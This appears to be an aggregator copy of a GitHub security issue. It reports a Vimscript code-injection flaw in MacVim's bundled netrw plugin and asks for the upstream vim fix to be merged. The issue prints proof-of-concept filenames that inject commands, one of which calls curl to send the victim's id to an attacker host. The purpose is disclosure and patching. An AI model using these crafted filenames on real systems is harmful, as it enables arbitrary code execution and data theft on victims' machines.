macvim-dev / macvim-dev/macvim

[Security] MacVim affected by GHSA-66hr-7p6x-x5j3 — netrw NetrwMarkFile() code injection via crafted filename (vim < 9.2.0480)

Open
#1,656 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
Vim Script
Stars
7.9k
Forks
691
PR merge metrics
No merged PRs in 30d

Description

Summary

MacVim bundles the netrw plugin (runtime/pack/dist/opt/netrw/autoload/netrw.vim) which contains s:NetrwMarkFile() with a code injection vulnerability. When unmarking files from the global marked-file list, a filename is interpolated into a string expression passed to filter(), allowing a crafted filename containing a double quote " to break out of the quoted string and execute arbitrary Vimscript. The fix from vim 9.2.0480 (8af0f098c3a42a28661d0295364e6e0fd7dbc92c) has not been applied to macvim r183.

Vulnerability Details

  • GHSA: GHSA-66hr-7p6x-x5j3
  • CVE: CVE-2026-43961
  • Upstream fix (vim): 9.2.0480 (commit 8af0f098c3a42a28661d0295364e6e0fd7dbc92c, 2026-05-14)
  • Affected code: runtime/pack/dist/opt/netrw/autoload/netrw.vims:NetrwMarkFile()
  • Vulnerability type: CWE-94 — Code Injection

Root Cause

In s:NetrwMarkFile(), when a file is unmarked from the global marked-file list, dname (the full path derived from directory + filename) is interpolated directly into a filter() string expression:

" runtime/pack/dist/opt/netrw/autoload/netrw.vim line 5220 (macvim r183)
call filter(s:netrwmarkfilelist,'v:val != "'.dname.'"')

If dname contains a " character, the string literal breaks and arbitrary Vimscript executes inside filter(). For example, a file named:

x" . execute("silent! !touch /tmp/pwned") . "

generates:

call filter(s:netrwmarkfilelist,'v:val != "x" . execute("silent! !touch /tmp/pwned") . ""')

which executes silent! !touch /tmp/pwned.

A second vulnerable call at line 7239 uses the same pattern:

call filter(w:netrw_treedict[dir],'v:val !~ "'.escape(pat,'\\').'"')
Attack Scenario
  1. Attacker places a maliciously named file in the project directory:
    touch 'x" . execute("silent! !curl http://attacker.com/$(id)") . "'
    
  2. Victim opens the directory in MacVim's netrw (:Explore), marks the file with mf, then unmarks it with mf again.
  3. The second mf triggers the filter() removal path — injected Vimscript executes arbitrary shell commands.

Verification

$ grep -n "filter.*netrwmarkfilelist" runtime/pack/dist/opt/netrw/autoload/netrw.vim
5179:    call filter(s:netrwmarkfilelist_{curbufnr},'v:val != a:fname')
5220:    call filter(s:netrwmarkfilelist,'v:val != "'.dname.'"')

Line 5220 interpolates dname into the filter string. The fix has not been applied:

$ git log --all --oneline | grep -i "9.2.0480\|NetrwMarkFile"
(no output)

Suggested Fix

Merge vim patches up to at least 9.2.0480. The fix converts string-based filter() calls to lambda form:

" Fixed (vim 9.2.0480):
call filter(s:netrwmarkfilelist_{curbufnr}, {_, v -> v !=# a:fname})
call filter(s:netrwmarkfilelist, {_, v -> v !=# dname})
call filter(w:netrw_treedict[dir], {_, v -> v !~# pat})

References

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start in runtime/pack/dist/opt/netrw/autoload/netrw.vim at s:NetrwMarkFile(), especially the filter() calls around lines 5220 and 7239. Compare these call sites with Vim commit 8af0f098c3a42a28661d0295364e6e0fd7dbc92c, then exercise netrw's :Explore mark/unmark flow with a filename containing a double quote. Done means the crafted filename no longer executes Vimscript through either filter path.

Written by the indexing model from the issue text.

Assessment

Tech stack
vim
Domain
security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
72/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.